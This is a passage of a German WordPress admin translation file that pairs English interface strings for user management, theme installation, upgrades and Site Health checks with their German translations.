"Dein Browser ist veraltet!" #: wp-admin/includes/dashboard.php:32 msgid "You are using an insecure browser!" msgstr "Du verwendest einen unsicheren Browser!" #: wp-admin/includes/credits.php:104 msgctxt "Translate this to be the equivalent of English Translators in your language for the credits page Translators section" msgid "Translators" msgstr "Übersetzung ins Deutsche:" #: wp-admin/includes/class-wp-users-list-table.php:637 msgctxt "no user roles" msgid "None" msgstr "Keine" #. translators: %s: Number of posts. #: wp-admin/includes/class-wp-users-list-table.php:574 msgid "%s post by this author" msgid_plural "%s posts by this author" msgstr[0] "%s Beitrag von diesem Autor" msgstr[1] "%s Beiträge von diesem Autor" #: wp-admin/includes/class-wp-users-list-table.php:556 #: wp-admin/includes/class-wp-ms-users-list-table.php:307 msgctxt "name" msgid "Unknown" msgstr "Unbekannt" #. translators: %s: Author's display name. #: wp-admin/includes/class-wp-users-list-table.php:473 msgid "View posts by %s" msgstr "Beiträge von %s anschauen" #: wp-admin/includes/class-wp-users-list-table.php:443 #: wp-admin/user-edit.php:437 #: wp-admin/includes/class-wp-ms-users-list-table.php:285 msgid "Super Admin" msgstr "Super-Administrator" #: wp-admin/includes/class-wp-users-list-table.php:364 #: wp-admin/user-edit.php:414 wp-admin/user-new.php:442 #: wp-admin/user-new.php:603 wp-admin/network/site-users.php:307 #: wp-admin/network/site-users.php:345 msgid "Role" msgstr "Rolle" #: wp-admin/includes/class-wp-users-list-table.php:306 msgid "Change" msgstr "Wechseln" #: wp-admin/includes/class-wp-users-list-table.php:303 #: wp-admin/user-edit.php:426 wp-admin/user-edit.php:428 wp-admin/users.php:119 msgid "— No role for this site —" msgstr "– Keine Benutzerrolle für diese Website –" #: wp-admin/includes/class-wp-users-list-table.php:299 #: wp-admin/includes/class-wp-users-list-table.php:301 msgid "Change role to…" msgstr "Rolle ändern in …" #: wp-admin/includes/class-wp-users-list-table.php:279 #: wp-admin/includes/class-wp-users-list-table.php:480 msgid "Send password reset" msgstr "Passwort zurücksetzen senden" #: wp-admin/includes/class-wp-users-list-table.php:243 msgid "No role" msgstr "Keine Rolle" #. translators: 1: User role name, 2: Number of users. #: wp-admin/includes/class-wp-users-list-table.php:227 #: wp-admin/includes/class-wp-users-list-table.php:246 msgid "%1$s <span class=\"count\">(%2$s)</span>" msgstr "%1$s <span class=\"count\">(%2$s)</span>" #. translators: %s: Number of users. #. translators: Number of users. #: wp-admin/includes/class-wp-users-list-table.php:203 #: wp-admin/includes/class-wp-ms-users-list-table.php:148 msgctxt "users" msgid "All <span class=\"count\">(%s)</span>" msgid_plural "All <span class=\"count\">(%s)</span>" msgstr[0] "Alle <span class=\"count\">(%s)</span>" msgstr[1] "Alle <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-users-list-table.php:159 #: wp-admin/includes/deprecated.php:574 #: wp-admin/includes/class-wp-ms-users-list-table.php:126 msgid "No users found." msgstr "Es wurden keinen Benutzer gefunden." #: wp-admin/includes/class-wp-upgrader.php:168 #: wp-admin/includes/update-core.php:1214 msgid "Disabling Maintenance mode…" msgstr "Abschalten des Wartungsmodus …" #: wp-admin/includes/class-wp-upgrader.php:167 #: wp-admin/includes/update-core.php:1109 msgid "Enabling Maintenance mode…" msgstr "Anschalten des Wartungsmodus …" #: wp-admin/includes/class-wp-upgrader.php:164 msgid "The package could not be installed." msgstr "Das Paket konnte nicht installiert werden." #: wp-admin/includes/class-wp-upgrader.php:163 wp-admin/includes/file.php:1605 #: wp-admin/includes/file.php:1732 wp-admin/includes/file.php:1804 #: wp-admin/includes/update-core.php:1405 msgid "Could not create directory." msgstr "Verzeichnis konnte nicht angelegt werden." #: wp-admin/includes/class-wp-upgrader.php:162 msgid "Destination folder already exists." msgstr "Der Zielordner existiert bereits." #: wp-admin/includes/class-wp-upgrader.php:161 msgid "The package contains no files." msgstr "Das Paket enthält keine Dateien." #: wp-admin/includes/class-wp-upgrader.php:160 msgid "Installing the latest version…" msgstr "Die aktuelle Version wird installiert …" #. translators: %s: Directory name. #: wp-admin/includes/class-wp-upgrader.php:157 msgid "Unable to locate needed folder (%s)." msgstr "Der benötigte Ordner (%s) kann nicht gefunden werden." #: wp-admin/includes/class-wp-upgrader.php:155 wp-admin/includes/theme.php:72 msgid "Unable to locate WordPress theme directory." msgstr "Das WordPress-Theme-Verzeichnis konnte nicht gefunden werden." #: wp-admin/includes/class-wp-upgrader.php:154 wp-admin/includes/plugin.php:955 msgid "Unable to locate WordPress plugin directory." msgstr "Das Plugin-Verzeichnis von WordPress kann nicht gefunden werden." #: wp-admin/includes/class-wp-upgrader.php:153 msgid "Unable to locate WordPress content directory (wp-content)." msgstr "Das Verzeichnis für die WordPress-Inhalte (wp-content) kann nicht gefunden werden." #: wp-admin/includes/class-wp-upgrader.php:152 msgid "Unable to locate WordPress root directory." msgstr "Das Stamm-Verzeichnis von WordPress kann nicht gefunden werden." #: wp-admin/includes/class-wp-upgrader.php:151 wp-admin/includes/plugin.php:949 #: wp-admin/includes/theme.php:66 msgid "Filesystem error." msgstr "Dateisystem-Fehler." #: wp-admin/includes/class-wp-upgrader.php:149 msgid "Invalid data provided." msgstr "Ungültige Daten eingegeben." #. translators: 1: Link to documentation on child themes, 2: Name of parent #. theme. #: wp-admin/includes/class-wp-themes-list-table.php:285 msgid "This <a href=\"%1$s\">child theme</a> requires its parent theme, %2$s." msgstr "Dieses <a href=\"%1$s\">Child-Theme</a> benötigt das Eltern-Theme %2$s, um zu funktionieren." #. translators: %s: Theme name. #: wp-admin/includes/class-wp-themes-list-table.php:232 msgid "" "You are about to delete this theme '%s'\n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Du bist dabei, dieses Theme zu löschen: ‚%s‘\n" " ‚Abbrechen‘ zum Beenden, ‚OK‘ zum Löschen." #. translators: %s: Network title. #: wp-admin/includes/class-wp-themes-list-table.php:132 msgid "Only the current theme is available to you. Contact the %s administrator for information about accessing additional themes." msgstr "Du kannst nur das zurzeit aktive Theme benutzen. Kontaktiere den %s Administrator, um zu erfahren, wie du weitere Themes benutzen kannst." #. translators: %s: URL to Add Themes screen. #: wp-admin/includes/class-wp-themes-list-table.php:122 msgid "You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress Theme Directory at any time: just click on the <a href=\"%s\">Install Themes</a> tab above." msgstr "Du hast momentan nur ein Theme installiert. Für etwas Abwechslung kannst du jederzeit aus über 1.000 kostenlosen Themes des WordPress.org-Themeverzeichnisses wählen: Klicke einfach auf den oben stehenden Button <a href=\"%s\">Themes hinzufügen</a>." #. translators: %s: URL to Themes tab on Edit Site screen. #: wp-admin/includes/class-wp-themes-list-table.php:111 msgid "You only have one theme enabled for this site right now. Visit the Network Admin to <a href=\"%s\">enable</a> more themes." msgstr "Du hast momentan nur ein Theme für diese Website freigeschaltet. In der Netzwerkverwaltung kannst du weitere Themes <a href=\"%s\">freischalten</a>." #. translators: 1: URL to Themes tab on Edit Site screen, 2: URL to Add Themes #. screen. #: wp-admin/includes/class-wp-themes-list-table.php:102 msgid "You only have one theme enabled for this site right now. Visit the Network Admin to <a href=\"%1$s\">enable</a> or <a href=\"%2$s\">install</a> more themes." msgstr "Du hast momentan nur ein Theme für diese Website freigeschaltet. In der Netzwerkverwaltung kannst du weitere Themes <a href=\"%1$s\">freischalten</a> oder <a href=\"%2$s\">installieren</a>." #: wp-admin/includes/class-wp-theme-install-list-table.php:509 #: wp-admin/includes/class-wp-themes-list-table.php:279 #: wp-admin/includes/plugin-install.php:654 msgid "Version:" msgstr "Version:" #. translators: %s: Plugin name. #: wp-admin/includes/class-wp-theme-install-list-table.php:483 #: wp-admin/includes/deprecated.php:1387 wp-admin/includes/theme.php:1003 #: wp-admin/theme-install.php:388 wp-admin/theme-install.php:425 #: wp-admin/includes/network.php:374 msgid "Install" msgstr "Installieren" #: wp-admin/includes/class-wp-theme-install-list-table.php:394 #: wp-admin/theme-install.php:527 msgid "Collapse" msgstr "Einklappen" #: wp-admin/includes/class-wp-theme-install-list-table.php:392 #: wp-admin/theme-install.php:69 wp-admin/theme-install.php:525 msgid "Collapse Sidebar" msgstr "Seitenleiste einklappen" #. translators: %s: Theme name. #: wp-admin/includes/class-wp-theme-install-list-table.php:336 msgid "Preview %s" msgstr "Vorschau %s" #. translators: %s: Theme name. #: wp-admin/includes/class-wp-theme-install-list-table.php:326 #: wp-admin/theme-install.php:386 msgctxt "theme" msgid "Install %s" msgstr "%s installieren" #: wp-admin/includes/class-wp-theme-install-list-table.php:316 #: wp-admin/includes/class-wp-theme-install-list-table.php:474 msgid "This theme is already installed and is up to date" msgstr "Dieses Theme ist schon installiert und aktuell." #. translators: %s: Theme version. #: wp-admin/includes/class-wp-theme-install-list-table.php:308 #: wp-admin/includes/class-wp-theme-install-list-table.php:466 msgid "Update to version %s" msgstr "Aktualisiere auf Version %s" #: wp-admin/includes/class-wp-theme-install-list-table.php:168 msgid "No themes match your request." msgstr "Es wurde kein passendes Theme zu deiner Auswahl gefunden." #: wp-admin/includes/class-wp-theme-install-list-table.php:67 msgctxt "themes" msgid "Recently Updated" msgstr "Kürzlich aktualisiert" #: wp-admin/includes/class-wp-theme-install-list-table.php:66 #: wp-admin/theme-install.php:178 msgctxt "themes" msgid "Latest" msgstr "Neueste" #: wp-admin/includes/class-wp-theme-install-list-table.php:64 #: wp-admin/theme-install.php:176 msgctxt "themes" msgid "Featured" msgstr "Vorgestellt" #: wp-admin/includes/class-wp-terms-list-table.php:548 msgid "No description" msgstr "Keine Beschreibung" #. translators: %s: Taxonomy term name. #: wp-admin/includes/class-wp-terms-list-table.php:506 msgid "View “%s” archive" msgstr "Archiv „%s“ ansehen" #. translators: %s: Taxonomy term name. #: wp-admin/includes/class-wp-terms-list-table.php:497 msgid "Delete “%s”" msgstr "Lösche „%s“" #: wp-admin/includes/class-wp-terms-list-table.php:195 msgctxt "Number/count of items" msgid "Count" msgstr "Anzahl" #: wp-admin/includes/class-wp-site-health.php:2781 #: wp-admin/js/site-health.js:336 msgid "A test is unavailable" msgstr "Ein Test ist nicht verfügbar" #: wp-admin/includes/class-wp-site-health.php:2677 msgid "The loopback request to your site completed successfully." msgstr "Die Loopback-Anfrage an deine Website wurde erfolgreich abgeschlossen." #. translators: %d: The HTTP response code returned. #: wp-admin/includes/class-wp-site-health.php:2669 msgid "The loopback request returned an unexpected http status code, %d, it was not possible to determine if this will prevent features from working as expected." msgstr "Die Loopback-Anfrage lieferte einen unerwarteten http-Statuscode, %d, es war nicht möglich zu bestimmen, ob dies verhindert, dass Funktionen wie erwartet funktionieren." #: wp-admin/includes/class-wp-site-health.php:2653 msgid "The loopback request to your site failed, this means features relying on them are not currently working as expected." msgstr "Die Loopback-Anfrage an deine Website ist fehlgeschlagen, das bedeutet, dass Funktionen, die sich auf sie verlassen, derzeit nicht wie erwartet funktionieren." #: wp-admin/includes/class-wp-site-health.php:2605 msgid "There appear to be no issues with plugin and theme auto-updates." msgstr "Es gibt anscheinend kein Problem mit automatischen Plugin- und Theme-Aktualisierungen." #: wp-admin/includes/class-wp-site-health.php:2599 msgid "Auto-updates for themes appear to be disabled. This will prevent your site from receiving new versions automatically when available." msgstr "Automatische Aktualisierungen für Themes sind anscheinend deaktiviert. Das verhindert, dass deine Website automatisch neue Versionen erhält, sobald sie verfügbar sind." #: wp-admin/includes/class-wp-site-health.php:2594 msgid "Auto-updates for plugins appear to be disabled. This will prevent your site from receiving new versions automatically when available." msgstr "Automatische Aktualisierungen für Plugins sind anscheinend deaktiviert. Das verhindert, dass deine Website automatisch neue Versionen erhält, sobald sie verfügbar sind." #: wp-admin/includes/class-wp-site-health.php:2589 msgid "Auto-updates for plugins and themes appear to be disabled. This will prevent your site from receiving new versions automatically when available." msgstr "Automatische Aktualisierungen für Plugins und Themes sind anscheinend deaktiviert. Das verhindert, dass deine Website automatisch neue Versionen erhält, sobald sie verfügbar sind." #: wp-admin/includes/class-wp-site-health.php:2580 msgid "Auto-updates for plugins and/or themes appear to be disabled, but settings are still set to be displayed. This could cause auto-updates to not work as expected." msgstr "Automatische Aktualisierungen für Plugins und/oder Themes sind anscheinend deaktiviert, aber die Einstellung wird dennoch angezeigt. Das kann dazu führen, dass automatische Aktualisierungen nicht wie erwartet funktionieren." #: wp-admin/includes/class-wp-site-health.php:2445 msgid "No scheduled events exist on this site." msgstr "Auf dieser Website gibt es keine geplanten Ereignisse." #: wp-admin/includes/class-wp-site-health.php:2349 msgid "REST API availability" msgstr "REST-API-Verfügbarkeit" #: wp-admin/includes/class-wp-site-health.php:2337 msgid "Authorization header" msgstr "Autorisierungs-Header" #: wp-admin/includes/class-wp-site-health.php:2331 msgid "HTTPS status" msgstr "HTTPS-Status" #: wp-admin/includes/class-wp-site-health.php:2325 msgid "Loopback request" msgstr "Loopback-Anfrage" #: wp-admin/includes/class-wp-site-health.php:2319 msgid "Background updates" msgstr "Hintergrund-Aktualisierungen" #: wp-admin/includes/class-wp-site-health.php:2307 msgid "Plugin and theme auto-updates" msgstr "Automatische Plugin- und Theme-Aktualisierungen" #: wp-admin/includes/class-wp-site-health.php:2299 msgid "Debugging enabled" msgstr "Fehlersuche aktiviert" #: wp-admin/includes/class-wp-site-health.php:2295 msgid "HTTP Requests" msgstr "HTTP-Requests" #: wp-admin/includes/class-wp-site-health.php:2291 msgid "Scheduled events" msgstr "Geplante Ereignisse" #: wp-admin/includes/class-wp-site-health.php:2287 msgid "Secure communication" msgstr "Sichere Verbindung" #: wp-admin/includes/class-wp-site-health.php:2283 msgid "MySQL utf8mb4 support" msgstr "MySQL-utf8mb4-Unterstützung" #: wp-admin/includes/class-wp-site-health.php:2279 msgid "Database Server version" msgstr "Datenbankserver-Version" #: wp-admin/includes/class-wp-site-health.php:2275 msgid "PHP Sessions" msgstr "PHP-Sitzungen" #: wp-admin/includes/class-wp-site-health.php:2271 msgid "PHP Default Timezone" msgstr "PHP-Standardzeitzone" #: wp-admin/includes/class-wp-site-health.php:2267 msgid "PHP Extensions" msgstr "PHP-Erweiterungen" #: wp-admin/includes/class-wp-site-health.php:2263 msgid "PHP Version" msgstr "PHP-Version" #: wp-admin/includes/class-wp-site-health.php:2259 msgid "Theme Versions" msgstr "Theme-Versionen" #: wp-admin/includes/class-wp-site-health.php:2255 msgid "Plugin Versions" msgstr "Plugin-Versionen" #: wp-admin/includes/class-wp-site-health.php:2251 msgid "WordPress Version" msgstr "WordPress-Version" #: wp-admin/includes/class-wp-site-health.php:2226 msgid "Learn how to configure the Authorization header." msgstr "Erfahre, wie man den Autorisierungs-Header konfiguriert." #: wp-admin/includes/class-wp-site-health.php:2225 msgid "https://developer.wordpress.org/rest-api/frequently-asked-questions/#why-is-authentication-not-working" msgstr "https://developer.wordpress.org/rest-api/frequently-asked-questions/#why-is-authentication-not-working" #: wp-admin/includes/class-wp-site-health.php:2220 msgid "Flush permalinks" msgstr "Permalinks leeren" #: wp-admin/includes/class-wp-site-health.php:2205 msgid "The authorization header is invalid." msgstr "Der Autorisierungs-Header ist ungültig." #: wp-admin/includes/class-wp-site-health.php:2203 msgid "The authorization header is missing." msgstr "Der Autorisierungs-Header fehlt." #: wp-admin/includes/class-wp-site-health.php:2196 msgid "The Authorization header comes from the third-party applications you approve. Without it, those apps cannot connect to your site." msgstr "Der Autorisierungs-Header stammt aus den Anwendungen von Drittanbietern, die du genehmigst. Ohne ihn können diese Anwendungen keine Verbindung zu deiner Website herstellen." #: wp-admin/includes/class-wp-site-health.php:2188 msgid "The Authorization header is working as expected." msgstr "Der Autorisierungs-Header funktioniert wie erwartet." #. translators: 1: post_max_size, 2: upload_max_filesize #: wp-admin/includes/class-wp-site-health.php:2166 msgid "The setting for %1$s is smaller than %2$s, this could cause some problems when trying to upload files." msgstr "Die Einstellung für %1$s ist kleiner als die für %2$s, dies könnte beim Versuch, Dateien hochzuladen, zu Problemen führen." #. translators: 1: post_max_size, 2: upload_max_filesize #: wp-admin/includes/class-wp-site-health.php:2156 msgid "The setting for %1$s is currently configured as 0, this could cause some problems when trying to upload files through plugin or theme features that rely on various upload methods. It is recommended to configure this setting to a fixed value, ideally matching the value of %2$s, as some upload methods read the value 0 as either unlimited, or disabled." msgstr "Die Einstellung für %1$s ist derzeit als 0 konfiguriert. Dies könnte zu Problemen führen, wenn du versuchst, Dateien über Plugin- oder Theme-Funktionen hochzuladen, die auf verschiedene Upload-Methoden angewiesen sind. Es wird empfohlen, diese Einstellung auf einen festen Wert zu konfigurieren, der idealerweise mit dem Wert von %2$s übereinstimmt, da einige Upload-Methoden den Wert 0 entweder als unbegrenzt oder deaktiviert lesen." #. translators: 1: post_max_size, 2: upload_max_filesize #: wp-admin/includes/class-wp-site-health.php:2145 msgid "The \"%1$s\" value is smaller than \"%2$s\"." msgstr "Der Wert von „%1$s“ ist geringer als der von „%2$s“." #. translators: 1: file_uploads, 2: 0 #: wp-admin/includes/class-wp-site-health.php:2131 msgid "%1$s is set to %2$s. You won't be able to upload files on your site." msgstr "%1$s ist auf %2$s gesetzt. Du wirst keine Dateien auf deiner Website hochladen können." #. translators: %s: ini_get() #: wp-admin/includes/class-wp-site-health.php:2119 msgid "The %s function has been disabled, some media settings are unavailable because of this." msgstr "Die Funktion %s wurde deaktiviert, daher sind einige Medien-Einstellungen nicht verfügbar." #. translators: 1: file_uploads, 2: php.ini #: wp-admin/includes/class-wp-site-health.php:2106 msgid "The %1$s directive in %2$s determines if uploading files is allowed on your site." msgstr "Die Anweisung %1$s in der %2$s legt fest, ob das Hochladen von Dateien auf deiner Website erlaubt ist." #: wp-admin/includes/class-wp-site-health.php:2096 msgid "Files can be uploaded." msgstr "Dateien können hochgeladen werden." #. translators: %s: The name of the query parameter being tested. #: wp-admin/includes/class-wp-site-health.php:2077 msgid "The REST API did not process the %s query parameter correctly." msgstr "Die REST-API hat den Abfrageparameter %s nicht korrekt verarbeitet." #: wp-admin/includes/class-wp-site-health.php:2071 msgid "The REST API did not behave correctly" msgstr "Die REST-API hat sich nicht korrekt verhalten" #. translators: 1: The HTTP error code. 2: The HTTP error message. #: wp-admin/includes/class-wp-site-health.php:2060 msgid "The REST API call gave the following unexpected result: (%1$d) %2$s." msgstr "Der Aufruf der REST-API führte zu folgendem unerwarteten Ergebnis: (%1$d) %2$s." #: wp-admin/includes/class-wp-site-health.php:2054 msgid "The REST API encountered an unexpected result" msgstr "Die REST-API kam zu einem unerwarteten Ergebnis" #. translators: 1: The WordPress error message. 2: The WordPress error code. #: wp-admin/includes/class-wp-site-health.php:2045 #: wp-admin/includes/class-wp-site-health.php:2656 msgid "Error: %1$s (%2$s)" msgstr "Fehler: %1$s (%2$s)" #: wp-admin/includes/class-wp-site-health.php:2042 msgid "The REST API request failed due to an error." msgstr "Die REST-API-Anfrage ist aufgrund eines Fehlers fehlgeschlagen." #: wp-admin/includes/class-wp-site-health.php:2036 msgid "The REST API encountered an error" msgstr "Die REST-API hat einen Fehler gefunden" #: wp-admin/includes/class-wp-site-health.php:2001 msgid "The REST API is one way WordPress, and other applications, communicate with the server. One example is the block editor screen, which relies on this to display, and save, your posts and pages." msgstr "Die REST-API ist eine Möglichkeit, wie WordPress und andere Anwendungen mit dem Server kommunizieren. Ein Beispiel ist der Bildschirm des Block-Editors, der darauf aufbaut, deine Beiträge und Seiten anzuzeigen und zu speichern." #: wp-admin/includes/class-wp-site-health.php:1993 msgid "The REST API is available" msgstr "Die REST-API ist verfügbar" #. translators: 1: Name of the constant used. 2: List of allowed hostnames. #: wp-admin/includes/class-wp-site-health.php:1971 msgid "HTTP requests have been blocked by the %1$s constant, with some allowed hosts: %2$s." msgstr "HTTP-Anfragen wurden durch die Konstante %1$s blockiert, wobei einige Hosts erlaubt sind: %2$s." #: wp-admin/includes/class-wp-site-health.php:1965 msgid "HTTP requests are partially blocked" msgstr "HTTP-Anfragen sind teilweise blockiert" #. translators: %s: Name of the constant used. #: wp-admin/includes/class-wp-site-health.php:1956 msgid "HTTP requests have been blocked by the %s constant, with no allowed hosts." msgstr "HTTP-Requests wurden durch die Konstante %s blockiert, ohne erlaubte Hosts." #: wp-admin/includes/class-wp-site-health.php:1950 msgid "HTTP requests are blocked" msgstr "HTTP-Anfragen sind blockiert" #: wp-admin/includes/class-wp-site-health.php:1930 msgid "It is possible for site maintainers to block all, or some, communication to other sites and services. If set up incorrectly, this may prevent plugins and themes from working as intended." msgstr "Es ist möglich, dass Website-Betreiber die Verbindung zu anderen Websites und Diensten ganz oder teilweise blockieren. Bei falscher Konfiguration kann es vorkommen, dass Plugins und Themes nicht wie vorgesehen funktionieren." #: wp-admin/includes/class-wp-site-health.php:1922 msgid "HTTP requests seem to be working as expected" msgstr "HTTP-Anfragen scheinen wie erwartet zu funktionieren" #: wp-admin/includes/class-wp-site-health.php:1898 msgid "Your site could not complete a loopback request" msgstr "Deine Website konnte eine Loopback-Anfrage nicht abschließen" #: wp-admin/includes/class-wp-site-health.php:1887 msgid "Loopback requests are used to run scheduled events, and are also used by the built-in editors for themes and plugins to verify code stability." msgstr "Loopback-Anfragen werden verwendet, um geplante Ereignisse auszuführen, und werden auch von den integrierten Editoren für Themes und Plugins verwendet, um die Stabilität des Codes zu überprüfen." #: wp-admin/includes/class-wp-site-health.php:1879 msgid "Your site can perform loopback requests" msgstr "Deine Website kann Loopback-Anfragen durchführen" #: wp-admin/includes/class-wp-site-health.php:1855 msgid "Your site may have problems auto-updating plugins and themes" msgstr "Deine Website hat möglicherweise Probleme, Plugins und Themes automatisch zu aktualisieren" #: wp-admin/includes/class-wp-site-health.php:1844 msgid "Plugin and theme auto-updates ensure that the latest versions are always installed." msgstr "Automatische Plugin- und Theme-Aktualisierungen stellen sicher, dass immer die neuesten Versionen installiert sind." #: wp-admin/includes/class-wp-site-health.php:1836 msgid "Plugin and theme auto-updates appear to be configured correctly" msgstr "Automatische Plugin- und Theme-Aktualisierungen sind anscheinend richtig konfiguriert" #: wp-admin/includes/class-wp-site-health.php:1803 msgid "Background updates may not be working properly" msgstr "Hintergrund-Updates funktionieren möglicherweise nicht richtig" #: wp-admin/includes/class-wp-site-health.php:1795 msgid "Background updates are not working as expected" msgstr "Hintergrund-Updates funktionieren nicht wie erwartet" #: wp-admin/includes/class-wp-site-health.php:1792 msgid "Passed" msgstr "Abgeschlossen" #: wp-admin/includes/class-wp-site-health.php:1774 msgid "Background updates ensure that WordPress can auto-update if a security update is released for the version you are currently using." msgstr "Hintergrund-Updates stellen sicher, dass WordPress automatisch aktualisieren kann, wenn ein Sicherheitsupdate für die Version, die zu diesem Zeitpunkt verwendet wird, veröffentlicht wird." #: wp-admin/includes/class-wp-site-health.php:1766 msgid "Background updates are working" msgstr "Hintergrund-Updates funktionieren" #. translators: %s: The name of the late cron event. #: wp-admin/includes/class-wp-site-health.php:1744 msgid "The scheduled event, %s, is late to run. Your site still works, but this may indicate that scheduling posts or automated updates may not work as intended." msgstr "Das geplante Ereignis, %s, wird zu spät ausgeführt. Deine Website funktioniert noch, aber das kann darauf hindeuten, dass die Planung von Beiträgen oder automatisierten Updates nicht wie geplant funktioniert." #: wp-admin/includes/class-wp-site-health.php:1738 msgid "A scheduled event is late" msgstr "Ein geplantes Ereignis ist verspätet" #. translators: %s: The name of the failed cron event. #: wp-admin/includes/class-wp-site-health.php:1731 msgid "The scheduled event, %s, failed to run. Your site still works, but this may indicate that scheduling posts or automated updates may not work as intended." msgstr "Das geplante Ereignis, %s, konnte nicht ausgeführt werden. Deine Website funktioniert noch, aber das kann darauf hindeuten, dass die Planung von Beiträgen oder automatisierten Updates nicht wie geplant funktioniert." #: wp-admin/includes/class-wp-site-health.php:1725 msgid "A scheduled event has failed" msgstr "Ein geplantes Ereignis ist fehlgeschlagen" #. translators: %s: The error message returned while from the cron scheduler. #: wp-admin/includes/class-wp-site-health.php:1718 msgid "While trying to test your site’s scheduled events, the following error was returned: %s" msgstr "Beim Versuch, die geplanten Ereignisse deiner Website zu testen, wurde folgender Fehler zurückgegeben: %s" #: wp-admin/includes/class-wp-site-health.php:1712 msgid "It was not possible to check your scheduled events" msgstr "Es war nicht möglich, deine geplanten Ereignisse zu überprüfen" #: wp-admin/includes/class-wp-site-health.php:1701 msgid "Scheduled events are what periodically looks for updates to plugins, themes and WordPress itself. It is also what makes sure scheduled posts are published on time. It may also be used by various plugins to make sure that planned actions are executed." msgstr "Die Bezeichnung „Geplante Ereignisse“ steht für verschiedene Aufgaben: Die regelmäßige Suche nach Updates für Plugins, Themes und WordPress selbst sowie das rechtzeitige Veröffentlichen von geplanten Beiträgen. „Geplante Ereignisse“ können auch von verschiedenen Plugins verwendet werden, um sicherzustellen, dass geplante Aktionen ausgeführt werden." #: wp-admin/includes/class-wp-site-health.php:1693 msgid "Scheduled events are running" msgstr "Geplante Ereignisse laufen" #: wp-admin/includes/class-wp-site-health.php:1674 msgid "Talk to your web host about OpenSSL support for PHP." msgstr "Sprich mit deinem Webhoster über die OpenSSL-Unterstützung für PHP." #: wp-admin/includes/class-wp-site-health.php:1670 msgid "Your site is unable to communicate securely with other services" msgstr "Deine Website kann nicht sicher mit anderen Diensten in Verbindung treten" #: wp-admin/includes/class-wp-site-health.php:1666 msgid "Your site can communicate securely with other services" msgstr "Deine Website kann sicher mit anderen Diensten in Verbindung treten" #: wp-admin/includes/class-wp-site-health.php:1655 msgid "Securely communicating between servers are needed for transactions such as fetching files, conducting sales on store sites, and much more." msgstr "Für Transaktionen wie das Abrufen von Dateien, die Durchführung von Verkäufen auf Shop-Sites und vieles mehr ist eine sichere Datenübertragung zwischen Servern erforderlich." #: wp-admin/includes/class-wp-site-health.php:1622 #: wp-admin/includes/class-wp-site-health.php:1629 msgid "Talk to your web host about supporting HTTPS for your website." msgstr "Kontaktiere deinen Webhoster hinsichtlich der Unterstützung von HTTPS für deine Website." #: wp-admin/includes/class-wp-site-health.php:1603 #: wp-admin/includes/class-wp-site-health.php:1611 msgid "Update your site to use HTTPS" msgstr "Aktualisiere deine Website zur Verwendung von HTTPS" #. translators: 1: wp-config.php, 2: WP_HOME, 3: WP_SITEURL #: wp-admin/includes/class-wp-site-health.php:1589 msgid "However, your WordPress Address is currently controlled by a PHP constant and therefore cannot be updated. You need to edit your %1$s and remove or update the definitions of %2$s and %3$s." msgstr "Momentan wird deine WordPress-Adresse durch eine PHP-Konstante gesteuert und kann daher nicht aktualisiert werden. Du musst deine %1$s bearbeiten und die Definitionen von %2$s und %3$s entfernen oder aktualisieren." #: wp-admin/includes/class-wp-site-health.php:1581 msgid "HTTPS is already supported for your website." msgstr "HTTPS wird von deiner Website bereits unterstützt." #. translators: 1: URL to Settings > General > WordPress Address, 2: URL to #. Settings > General > Site Address. #: wp-admin/includes/class-wp-site-health.php:1570 msgid "Your <a href=\"%1$s\">WordPress Address</a> and <a href=\"%2$s\">Site Address</a> are not set up to use HTTPS." msgstr "Deine <a href=\"%1$s\">WordPress-Adresse</a> und deine <a href=\"%2$s\">Website-Adresse</a> sind nicht für die Verwendung von HTTPS eingerichtet." #. translators: 1: URL to Settings > General > WordPress Address, 2: URL to #. Settings > General > Site Address. #: wp-admin/includes/class-wp-site-health.php:1560 msgid "You are accessing this website using HTTPS, but your <a href=\"%1$s\">WordPress Address</a> and <a href=\"%2$s\">Site Address</a> are not set up to use HTTPS by default." msgstr "Du greifst auf diese Website über HTTPS zu, aber deine <a href=\"%1$s\">WordPress-Adresse</a> und deine <a href=\"%2$s\">Website-Adresse</a> sind standardmäßig nicht für die Verwendung von HTTPS eingerichtet." #. translators: %s: URL to Settings > General > Site Address. #: wp-admin/includes/class-wp-site-health.php:1549 msgid "Your <a href=\"%s\">Site Address</a> is not set up to use HTTPS." msgstr "Deine <a href=\"%s\">Website-Adresse</a> ist nicht für die Verwendung von HTTPS eingerichtet." #. translators: %s: URL to Settings > General > Site Address. #: wp-admin/includes/class-wp-site-health.php:1540 msgid "You are accessing this website using HTTPS, but your <a href=\"%s\">Site Address</a> is not set up to use HTTPS by default." msgstr "Du greifst über HTTPS auf diese Website zu, aber deine <a href=\"%s\">Website-Adresse</a> ist standardmäßig nicht für die Verwendung von HTTPS eingerichtet." #: wp-admin/includes/class-wp-site-health.php:1532 msgid "Your website does not use HTTPS" msgstr "Deine Website verwendet kein HTTPS" #: wp-admin/includes/class-wp-site-health.php:1521 msgid "Learn more about why you should use HTTPS" msgstr "Mehr darüber lesen, warum man HTTPS verwenden sollte" #: wp-admin/includes/class-wp-site-health.php:1516 msgid "An HTTPS connection is a more secure way of browsing the web. Many services now have HTTPS as a requirement. HTTPS allows you to take advantage of new features that can increase site speed, improve search rankings, and gain the trust of your visitors by helping to protect their online privacy." msgstr "Eine HTTPS-Verbindung ist eine sicherere Möglichkeit, im Internet zu surfen. Viele Dienste haben nun HTTPS als Vorgabe. HTTPS ermöglicht es dir, neue Funktionen zu nutzen, die die Geschwindigkeit der Website erhöhen, das Suchranking verbessern und das Vertrauen deiner Besucher gewinnen können, indem sie zum Schutz ihrer Online-Privatsphäre beitragen." #: wp-admin/includes/class-wp-site-health.php:1508 msgid "Your website is using an active HTTPS connection" msgstr "Deine Website verwendet eine aktive HTTPS-Verbindung." #. translators: 1: WP_DEBUG_DISPLAY, 2: WP_DEBUG #: wp-admin/includes/class-wp-site-health.php:1478 msgid "The value, %1$s, has either been enabled by %2$s or added to your configuration file. This will make errors display on the front end of your site." msgstr "Der Wert %1$s wurde entweder durch %2$s aktiviert oder in deine Konfigurationsdatei aufgenommen. Dies führt zu Fehlern in der Frontend-Anzeige deiner Website." #: wp-admin/includes/class-wp-site-health.php:1465 msgid "Your site is set to display errors to site visitors" msgstr "Deine Website ist so eingestellt, dass sie den Besuchern der Website Fehler anzeigt" #. translators: %s: WP_DEBUG_LOG #: wp-admin/includes/class-wp-site-health.php:1458 msgid "The value, %s, has been added to this website’s configuration 